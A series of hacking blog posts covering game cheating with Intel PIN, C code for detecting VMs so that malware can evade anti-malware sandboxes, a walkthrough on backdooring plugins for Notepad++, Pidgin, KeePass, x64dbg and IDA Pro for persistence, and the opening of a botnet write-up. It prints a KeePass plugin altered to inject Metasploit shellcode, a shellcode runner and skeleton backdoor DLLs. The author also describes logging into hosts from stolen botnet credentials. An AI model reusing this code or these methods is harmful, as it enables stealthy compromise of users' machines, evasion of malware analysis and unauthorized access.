This is certainly something that would be hard to detect right? So what else is there to inject code in? Enter binary instrumentation and PIN. A mad man could possibly conceive a way to inject code and hack games using a framework that’s been used for all kinds of things from unpacking malware, to finding bugs and memory leaks. It seems game hacking with PIN is just inevitable.

But joe you might say, “how the hell do you stop on a particular memory address in PIN? I don’t see a way to specify a pointer like with detours, only function names!” and you’d be right. But keep in mind, with PIN we have full control of the context / registers. It’s a simple matter of halting on a particular instruction pointer address. Easy peasy. Observe:

/*
alexander hanel - thanks alex, much love. 
log IP of all instructions that do not reside in a module. 
*/
#include <stdio.h> 
#include <iostream> 
#include "pin.H" 
namespace WINDOWS
{
#include <Windows.h>
}
#include <string>
#include <algorithm>


// bool started = FALSE;
ADDRINT addr;
vector<string> modules;
char othercompare[32]  = "0x000000014000112A";
//__int64 curIP = 0;

FILE * trace;

// This function is called before every instruction is executed
// and prints the IP
VOID printip(VOID *ip) 
{
	char joincompare[32] = "";
	sprintf(joincompare, "0x%p",ip);
	
	if(strcmp(joincompare,othercompare))
	{
	// we do our hax here
	printf("******************************************\n");
	printf("******************************************\n");
	printf("****************Found it!!!***************\n");
	printf("******************************************\n");
	printf("******************************************\n");
	}
	fprintf(trace, "Instruction Pointer: 0x%p\n", ip ); 
	
}

// Pin calls this function every time a new instruction is encountered
VOID Instruction(INS ins, VOID *v)
{
	IMG img = IMG_FindByAddress(INS_Address(ins));
	string path = (IMG_Valid(img) ? IMG_Name(img) : "InvalidImg");
	auto it = std::find(modules.begin(), modules.end(), path);
	if (it != modules.end())
		return;
	else
	{
		fprintf(trace, "Instruction: %s\n", INS_Disassemble(ins)); // also print the decoded instructions
		INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)printip, IARG_INST_PTR, IARG_END);
	}
}

VOID Image(IMG Img, VOID *v)
{ 
	if (IMG_IsMainExecutable(Img))
		printf("Main module loading...\n");
	else
		modules.push_back(IMG_Name(Img).c_str());
}

VOID Fini(INT32 code, VOID *v) 
{ 
	printf("The following modules were loaded: \r\n");
	int ii;
	for (ii = 0; ii < modules.size(); ii++)
	{
		cout << modules[ii] << endl;
	}
} 

INT32 Usage() 
{ 
	return -1; 
}

int main(int argc, char * argv[]) 
{ 
	trace = fopen("itrace.out", "w");
	if (PIN_Init(argc, argv)) 
		return Usage();
	IMG_AddInstrumentFunction(Image, 0);
	INS_AddInstrumentFunction(Instruction, 0); 
	PIN_AddFiniFunction(Fini, 0); 
	PIN_StartProgram(); 
	return 0; 
}

Where do we obtain the instruction pointer address? That’s up to you(me), and the disassembler. Let’s go over an example.

Here we have a simple C program I wrote (in 64 bit no less) that uses the MessageBox API.

#include <windows.h>
int main(void)
{
	char *msg1 = "this will work";
	char *msg2 = "this too";
	MessageBox(NULL,msg1,msg2,MB_YESNOCANCEL);
	return 0;
}

Here we run the fucker:

And here’s what it looks like in IDA:

We would want to instrument at the address 0x0000000140001000. To modify the call to MessageBox, we need to alter the contents of the registers. The register ‘r9d’ contains the value 3 or MB_YESNOCANCEL. With what? How about something simple like changing the MessageBox ‘uType’ to ‘MB_OK’ or 0. This means we would need to modify the ‘r9d’ register at the address 0x0000000140001004 or just before the call to MessageBox. This means we have to halt on this address and modify the CONTEXT structure. For those who don’t know, the CONTEXT structure is a windows term for the state of registers. PIN has my back when it comes to modifying this structure.

This code we use to modify the context structure. using some creative C++ hax, I’m able to stop on a certain address and call modify at the right time:

#include <iostream>
#include <fstream>
#include "pin.H"

vector<string> modules;
//REG testedRegister = REG_INVALID();

BOOL hitit = false;
REG testedRegister = REG_R9D;

char stop_on_me[32]  = "0000000140001004";
char joincompare[32] = "";

VOID show_instruction_pointer(ADDRINT rip, ADDRINT r9) 
{
	sprintf(joincompare, "%p",Addrint2VoidStar(rip));
	if(memcmp(joincompare,stop_on_me,sizeof(joincompare)))
	{
	printf("Instruction pointer is %p\r\n",Addrint2VoidStar(rip));
	//printf("Value of R9 is %p\r\n",Addrint2VoidStar(r9));
	hitit = true;

	}

}

void afterfunc_call(CONTEXT * ctxt)
{
	if(hitit)
	{
	printf("Setting the value of R9 to 0");
	PIN_SetContextRegval(ctxt, testedRegister, 0x0000000000000000);
	}
}
    
// Pin calls this function every time a new instruction is encountered
VOID Instruction(INS ins, VOID *v)
{
	IMG img = IMG_FindByAddress(INS_Address(ins));
	string path = (IMG_Valid(img) ? IMG_Name(img) : "InvalidImg");
	auto it = std::find(modules.begin(), modules.end(), path);
	if (it != modules.end())
		return;
	else
	{
	
	 REGSET regsin;
     REGSET regsout;
     REGSET_Clear(regsin);
     REGSET_Clear(regsout);
     REGSET_Insert(regsout, testedRegister);
	 
	 // insert call to check for instruction pointer
    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)show_instruction_pointer, IARG_REG_VALUE, REG_INST_PTR, IARG_END);
	 // insert call to modify register value
	INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(afterfunc_call),IARG_PARTIAL_CONTEXT, &regsin, &regsout, IARG_END);
	
	}
}

VOID Image(IMG Img, VOID *v)
{ 
	if (IMG_IsMainExecutable(Img))
		printf("Main module loading...\n");
	else
		modules.push_back(IMG_Name(Img).c_str());
}

VOID Fini(INT32 code, VOID *v)
{
    
  
}

/* ===================================================================== */
/* Print Help Message                                                    */
/* ===================================================================== */

INT32 Usage()
{
    cerr << "Just more code hax by joe" << endl;
    
    return -1;
}

/* ===================================================================== */
/* Main                                                                  */
/* ===================================================================== */
/*   argc, argv are the entire command line: pin -t <toolname> -- ...    */
/* ===================================================================== */

int main(int argc, char * argv[])
{
    // Initialize pin
    if (PIN_Init(argc, argv)) return Usage();
	IMG_AddInstrumentFunction(Image, 0); // remove other modules, except main module, let that run
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
    PIN_StartProgram();
    
    return 0;
}

Does it work? Hell yeah!

So how the hell would you cheat like this? Well I’ve already demonstrated register manipulation, memory manipulation, so the rest should be trivial.

I’m sorry it took so long to go through this framework and make it into something useful. I’m not done with PIN just yet, I plan to release something awesome using it soon. Stay tuned!

More VM Detection!

$
0
0

Hiyo!

Defcon was awesome this year. It always gives me inspiration for things to blog about. That said, I want to go over something simple today – more VM detection.

I’ll be hitting vmware because I have it, also OpenVZ and KVM because that’s what my old hosts worked on.

In my humble opinion, the best way to determine if you’re running on a VM is to read the SMBios information. Doing this on Linux is easy-peasy. Just use dmidecode. It works great.

Here we see KVM listed under ‘Product Info’.

This is fine and all for Linux, but the main focus of this blog post is on Windows and the VM’s employed by anti-malware appliances which run Windows for behavior analysis. How the hell do we read SMBios information on Windows?

Well, DMIDecode does exist for windows. How would we go about this programatically though? The GetSystemFirmwareTable API allows us to read the bios table. DmiDecode’s source tells me it does pretty much the same thing. I had to clean it up a little because GNU code is cray…

#include <windows.h>
#include <stdio.h>

int num_structures = 0;
typedef struct RawSMBIOSData
{
    BYTE    Used20CallingMethod;
    BYTE    SMBIOSMajorVersion;
    BYTE    SMBIOSMinorVersion;
    BYTE    DmiRevision;
    DWORD    Length;
    BYTE    SMBIOSTableData[];
} RawSMBIOSData, *PRawSMBIOSData;

PRawSMBIOSData get_raw_smbios_table(void){

    void *buf = NULL;
    DWORD size = 0;
    size = GetSystemFirmwareTable('RSMB', 0, buf, size);
    buf = (void *)malloc(size);
    GetSystemFirmwareTable('RSMB', 0, buf, size);        
    return buf;
}

int main(void)
{
PRawSMBIOSData smb = NULL;
smb=get_raw_smbios_table();
printf("SMBIOS %u.%u present.\r\n", smb->SMBIOSMajorVersion, smb->SMBIOSMinorVersion);
getchar();
return 1;
}

Does malwr.com flag this query information as suspicious? See for yourself:

There’s more than 1 way to query this information. This means we don’t have to rely on 1 thing (which might be spoofed or used as a behavior indicator).

The registry (command is reg query HKEY_LOCAL_MACHINE\Hardware\Description\System /v SystemBiosVersion):

The other key worth noting is HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS seen here:

This info can be gleaned with PowerShell via the command Get-WmiObject win32_bios

There are a shitload of other win32 classes with tons of info to sift through in powershell. Too much info, not enough time. Take a peek if you have infinite resolve.

System Info pane (msinfo32 in run box) will tell you bios info:

Finally you can grab this info from the command line again running either the systeminfo command or the wmi command line client.

But Joe, what if I’m a sadist, and want to use WMI in plain old C? I got your back:

#include <stdio.h>
#include <windows.h>
#include <wbemidl.h>
#include <Objbase.h>

int main(int argc, char* argv[])
{
    HRESULT hr = 0;
    IWbemLocator         *locator  = NULL;
    IWbemServices        *services = NULL;
    IEnumWbemClassObject *results  = NULL;
    BSTR resource = SysAllocString(L"ROOT\\CIMV2");
    BSTR language = SysAllocString(L"WQL");
    BSTR query    = SysAllocString(L"SELECT * FROM Win32_BIOS");

    hr = CoInitializeEx(0, COINIT_MULTITHREADED);
    hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
    hr = CoCreateInstance(&CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, &IID_IWbemLocator, (LPVOID *) &locator);
    hr = locator->lpVtbl->ConnectServer(locator, resource, NULL, NULL, NULL, 0, NULL, NULL, &services);
    hr = services->lpVtbl->ExecQuery(services, language, query, WBEM_FLAG_BIDIRECTIONAL, NULL, &results);
    if (results != NULL) 
	{
        IWbemClassObject *result = NULL;
        ULONG returnedCount = 0;
        while((hr = results->lpVtbl->Next(results, WBEM_INFINITE, 1, &result, &returnedCount)) == S_OK) 
		{
            VARIANT Manufacturer;
            hr = result->lpVtbl->Get(result, L"Manufacturer", 0, &Manufacturer, 0, 0);
			char prop[128];
			wcstombs(prop,Manufacturer.bstrVal,SysStringByteLen(Manufacturer.bstrVal));
			char *vm1 = "QEMU";
			char *vm2 = "VMware";
			char *vm3 = "vbox";

			if(strstr(prop,vm1))
			{
				printf("I see qemu!\r\n");
			}

			if(strstr(prop,vm2))
			{
				printf("I see vmware!\r\n");
			}

			if(strstr(prop,vm3))
			{
				printf("I see virtualbox!\r\n");
			}

            printf("%s \r\n", prop);
            result->lpVtbl->Release(result);
        }
    }

    results->lpVtbl->Release(results);
    services->lpVtbl->Release(services);
    locator->lpVtbl->Release(locator);
    CoUninitialize();
    SysFreeString(query);
    SysFreeString(language);
    SysFreeString(resource);
}

Looks familiar, right? I borrowed some of the code from my Crypter. This is just for bios info though.

I dug deeper and looked using an amazing tool called RW-Everything on both VMWare and OpenVZ to try and find other ways to reveal if I’m in a VM besides the BIOS info. The result? Let’s take a look…

First up is Windows 7 on VMWare. The tool does a pretty good job at identifying VMWare off the bat via the Extended System Description Table>. This part of ACPI (Advanced Configuration and Power Interface) and used in BIOS and hardware shit. If you really want to know more, knock yourself out.

Note the ‘Creator ID’ specifies VMW. Is this the only reference in the ACPI table for VMWare? Fuck no. We can dump the whole thing with our little tool to a file and peek for ourselves:

23 hits! Not bad.

What about for KVM? Let’s take a peek:

Seems to list Bochs and Qemu. Makes sense since KVM is a fork of Qemu and Bochs comes with KVM.

One more part to check out is the USB information window. This proves quite fruitful for determining if we’re in a VM.

Here we see multiple instances of ‘Vmware’ devices in the list of USB devices. Dumping the file and taking a peek, we again see multiple instances for VMWare:

10 hits. The mouse, the hub, vendor and product info. Not a bad haul.

How about KVM?

Only 2 hits, but better than none.

I’m trailing off here, so let’s go over one more example via WMI that we can use to determine if we’re in a VM:

By querying the win32_OnboardDevice class, we get a hit.

Are there more ways? You betcha. I’m always looking for new ways to detect VM’s on Windows and I’m certain I’ll think of more in the future.

For now though, It’s like 3 am and I’m in need of sleep.

Until next time,

Happy cracking!


Backdooring Plugins

$
0
0

I had this thought speaking with fellow hacker friendos at 2600. Alternative ways to persist. Why not backdoor some popular programs? Sure why not?

Today let’s scope in on backdooring some plugins for popular software. I will be covering a bunch of other programs, mainly stuff already on my computer.

First plugin to backdoor will be for Notepad++
I’ve decided to backdoor ‘mimeTools.dll’ because reasons. I don’t know, it was there and looked nice.

Since I’m hardcore, I will be backdooring this DLL with straight assembly. Sure I could just download a plugin template or something and compile, but where’s the fun in that? If you’re going to add code to an exe, it would be a good idea to have a place to put it. Our shellcode for a backdoor is about 251 bytes.

This means we need a cave of 251 bytes or greater or we need to add a new section to the DLL. I’m going with the latter. You could try and modify the flags on an existing section, but that shit never works. Easier to just add a new section. Recall from previous postings, we add a section via the use of ‘Cff Explorer’. All I’m doing here is adding a new section with and filling it with a file. I used a jpeg or something. After that we rebuild the PE header and save. Oh and don’t forget to set the section flags for ‘executable’ and ‘contains code’ otherwise when we jump it wont run. I chose an appropriate name too.

Opening the dll in IDA reveals our new code section is there and at what address. We’ll need this address when we open the dll in our debugger so that we can perform our long jump and paste / save our backdoor shellcode assembly. Again, I’ve covered this before I think so if you’re lost, follow that guide.

Now all that’s left to do is drag and drop the modified dll into the plugins folder for notepad++ and run the thing. Low and behold!

Notepad++ runs after you click ‘ok’ but imagine that being code to call home or something.
If editing raw dll’s aint your thing, then maybe consider just writing a skeleton dll file and making sure it’s up to code for notepad++?

They aren’t particularly picky, just need to export some entries ‘IsUnicode’,’setInfo’,’getName’,’getFuncsArray’,’beNotified’, and ‘messageProc’. Without those entries, notepad++ just complains and won’t run your code:

Yay, the first one is done. We have more stuff to hack though! What else can I hack? I run Hexchat for my IRC (real hackers use IRC bro).

First, a cursory look at a sample plugin in hexchat is quite revealing.

Only a few exported entries. Following the documentation reveals that if we just copy those exports, we should be good. Its like I didn’t even need to look.

This time we’re going to just use a skeleton dll file. By mimicking the export entries of another plugin, we can force our code to be run. Here is a simple skeleton dll in C:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"kek",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void hexchat_plugin_init(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_deinit(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_get_info(void)
{
	MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK);
    return;
}

Why C? because it’s easy as hell to throw our shellcode inside, duhh.

For those who forget, it’s like 3 lines of code to run shellcode in C.

#include <stdio.h>
#include <windows.h>
int main(void)
{
    char shellcode[] = "\x90\x90\x90";
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

Anyways, I compile the thing as a 64 bit dll and drag + drop the thing into my plugins folder (conveniently in the user profile folder, sans protections). It looks as though the contents of dllmain’s DLL_PROCESS_ATTACH area is hit first.

Next it launched the plugin init. Please visit me on IRC some time.

Great! Now let’s move on shall we? I use Pidgin instant messenger still. We can totally backdoor that!
Step 1: look at exported dll entries:

Step 2: Throw entries into skeleton dll. Mind the TLS callbacks. I’ll cover those in another blog post maybe. Nifty stuff.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"kek",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2)
{
	MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK);
    return 1;
}

Step 3: Place in user profile folder and wait for load. Again, the code within DLL_PROCESS_ATTACH is run. The plugin initialization seems to only be a formality.

Step 4: ????????????
Step 5: Profit!

How about something scary? Let’s backdoor Keepass! It’s slightly different than what I’m presently doing because Keepass is .NET instead of the normal native assembly code I’ve been coding. No matter. C# is ez. Recall I’ve covered this before. Since I’m compiling the thing from source, I don’t need to re-invent the wheel. Anywho, I’ve decided to “borrow” someone else’s project. That way i can just add my evil code and compile. This one is called ‘QualityColumn’. Any old plugin would have sufficed.

Now for the code:

/*
  KeePass QualityColumn Plugin
  Copyright (C) 2010-2014 Dominik Reichl <dominik.reichl@t-online.de>

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using KeePass.Forms;
using KeePass.Plugins;
using KeePass.UI;
using KeePass.Util.Spr;
using KeePassLib;
using KeePassLib.Cryptography;
using KeePassLib.Utility;

namespace QualityColumn
{
	public sealed class QualityColumnExt : Plugin
	{
		[Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
		[Flags]
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }

/*
 * windows/x64/exec - 275 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
 * CMD=cmd.exe
 */
byte[] buf = new byte[275] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);

        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
		  
		private static IPluginHost m_host = null;
		private QualityColumnProvider m_prov = null;

		internal static IPluginHost Host
		{
			get { return m_host; }
		}

		public override bool Initialize(IPluginHost host)
		{
			Terminate();
			m_host = host;
			if(m_host == null) { Debug.Assert(false); return false; }

			m_prov = new QualityColumnProvider();
			m_host.ColumnProviderPool.Add(m_prov);

			m_host.MainWindow.FileClosed += this.OnFileClosed;

			return true;
		}

		public override void Terminate()
		{
			System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("error!");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);
			
			if(m_host == null) return;

			m_host.MainWindow.FileClosed -= this.OnFileClosed;

			m_host.ColumnProviderPool.Remove(m_prov);
			m_prov = null;

			m_host = null;
		}

		private void OnFileClosed(object sender, FileClosedEventArgs e)
		{
			QualityColumnProvider.ClearCache();
		}
	}

	public sealed class QualityColumnProvider : ColumnProvider
	{
		private const string QcpName = "Password Quality";
		private const string QcpBitsSuffix = " bits";

		private static object m_oCacheSync = new object();
		private static Dictionary<string, uint> m_dCache =
			new Dictionary<string, uint>();

		private string[] m_vColNames = new string[] { QcpName };
		public override string[] ColumnNames
		{
			get { return m_vColNames; }
		}

		public override HorizontalAlignment TextAlign
		{
			get { return HorizontalAlignment.Right; }
		}

		internal static void ClearCache()
		{
			lock(m_oCacheSync)
			{
				m_dCache.Clear();
			}
		}

		public override string GetCellData(string strColumnName, PwEntry pe)
		{
			if(strColumnName == null) { Debug.Assert(false); return string.Empty; }
			if(strColumnName != QcpName) return string.Empty;
			if(pe == null) { Debug.Assert(false); return string.Empty; }

			string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);

			if(strPw.IndexOf('{') >= 0)
			{
				IPluginHost host = QualityColumnExt.Host;
				if(host == null) { Debug.Assert(false); return string.Empty; }

				PwDatabase pd = null;
				try
				{
					pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);
				}
				catch(Exception) { Debug.Assert(false); }

				SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref |
					SprCompileFlags.TextTransforms), false, false);
				strPw = SprEngine.Compile(strPw, ctx);
			}

			uint uEst;
			lock(m_oCacheSync)
			{
				if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue;
			}

			if(uEst == uint.MaxValue)
			{
				uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());

				lock(m_oCacheSync)
				{
					m_dCache[strPw] = uEst;
				}
			}

			return (uEst.ToString() + QcpBitsSuffix);
		}
	}
}

We have options here on how we compile our code. Keepass will take either a class library (.NET dll file), or its own special propriatary format called ‘plgx’. The beauty of this is that we can better hide ourselves from the AV. Thanks Keepass!

For reasons beyond my comprehension, 32 bit shellcode does not work in .NET on my machine. Why? Who fuckin knows?
The solution is to use 64 bit shellcode despite the program being 32 bit. Whatever.

Now, to compile our code, we basically just run KeePass.exe –plgx-create at the command line. This opens a dialog box for browsing to the folder containing your C# project files.

Just place your plgx file into your keepass folder (doesn’t even have to be the plugins folder lol) and your plugin will run its code along side keepass. Viola!

Noice! We’re really sticking it to the man now! I might as well backdoor my debugger while I’m at it. X64dbg is my go-to debugger. If you’re still using olly or immunity, get with the times!

First we load the thing in CFF Explorer (no ida this time)

3 exports for our skeleton dll program:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void pluginit(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugsetup(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugstop(void)
{
	MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}

For x64dbg to load our plugin, we need only rename our dll file to end in ‘.dp64’ and load it into the plugins folder.

Now we just load our debugger and voila!

Imagine a piece of malware that detects x64dbg is running and then unpacks itself and copies a piece of itself to the plugins folder and then crashes the debugger? Then the next time its run, BAM, owned. So many ideas!

I’ve saved the best for last. Let’s backdoor IDA Pro.

I’ve chosen the plugin ‘COM Helper’ because it seems to be automatically loaded with IDA.

Here we see them in the plugins folder.

Opening one of them up in IDA (ironic no?) reveals how there’s only 1 exported entry, ‘PLUGIN’ in all caps. This makes a skeleton program easy.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK);
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void PLUGIN(void)
{
	MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK);
    return;
}

We compile our dll, name it ‘comhelper.dll’ and ‘comhelper64.dll’ (want to ensure its run on both versions of IDA), drop in in and viola! Loads via DLL_PROCESS_ATTACH like always.

Maybe some evil hacker will now steal my idea and start distributing torrents of IDA with backdoored plugins? Nah, no one would do that!

VLC, Foobar, DropBox, Ifranview, mumble, Cheat Engine, and so much more can still be backdoored on my machine, but who has time for that shit? If you want to maintain persistence on a machine, try backdooring a plugin on something the user uses daily. Be sneaky.

In conclusion, we need only add our code to the main dll entry point and our code is run. In fact, it seems that way for most plugins. Sure a few have some prerequisites like certain exported function names and such, but by and large, it seems like you can run code from the ‘DLL_PROCESS_ATTACH’ portion of DllMain. I’ve seen it everywhere lately. Ever used Process Hacker?


If I drop any old 64 bit dll into the ‘plugins’ folder of Process Hacker, it seems to run my code without being ‘enabled’ or whatever. Here’s the same 64 bit dll from our IDA pro backdoor thingy:

Failing that, all you have have to do it seems is copy the exported function names (its always names, never ordinals) to meet that of the other plugins. The rest falls into place. I feel like you could automate this process with a virus or something.

All source and project files are available here. Password is infected.

Thank you for sitting through my blog post. I have much to do still. For example, I have to write a 64 bit variant of my metasploit module, I have to re-write my crypter because its being detected as ‘wannacry’, and I want to dive into the subject of IOT devices and webcams. Oh and that TLS callbacks tidbit. We’ll see what I tackle first.

Until then, happy hacking!

Yet Another Botnet Writeup

$
0
0

Whaddup RE people?

I have a treat especial just for you. I didn’t find 1 botnet host, I found 3.

The first item on the menu is Linux based. This one with working clients across many platforms including MIPS, Motorola, and even ARM. For those of you living under a rock, botnets are networks of infected machines used to initiate ddos attacks against networks and such. Bad news.

So how did I find these?

One day someone sends me a link to a 4chan knock off. I get curious about where it’s hosted. I scanned the CDIR, found a bunch of odd hosts and stumbled upon a few IP’s with their clients out in the open. Oops.

So obviously I have to wget that shit as soon as possible right? Can’t have it going offline before I’m done with it…

I have something like 191 thousand username / password / ip / port combinations. Sure some of them are offline, but most are still there. Pretty big botnet. This was the contents of the ‘infected.txt’ file.

Remember telnet? I do. Some of them work, some don’t. I don’t care enough to ping each one for connectivity, but I got a few dozen to work just fine…

Each binary seems to follow the same pattern – randomly try a new host to infect, much like a virus and move on.

What about the bots?
There are a number of bot clients in various architectures ranging from :

  • Arm
  • Mips
  • Power Pc
  • Sparc
  • Itanium
  • Super H
  • x86/x64 

Whoever made this had a goal in mind – infected all the Linuxes!

What’s inside the bots?

The strings make it obvious what it’s doing…

First we have our command string…

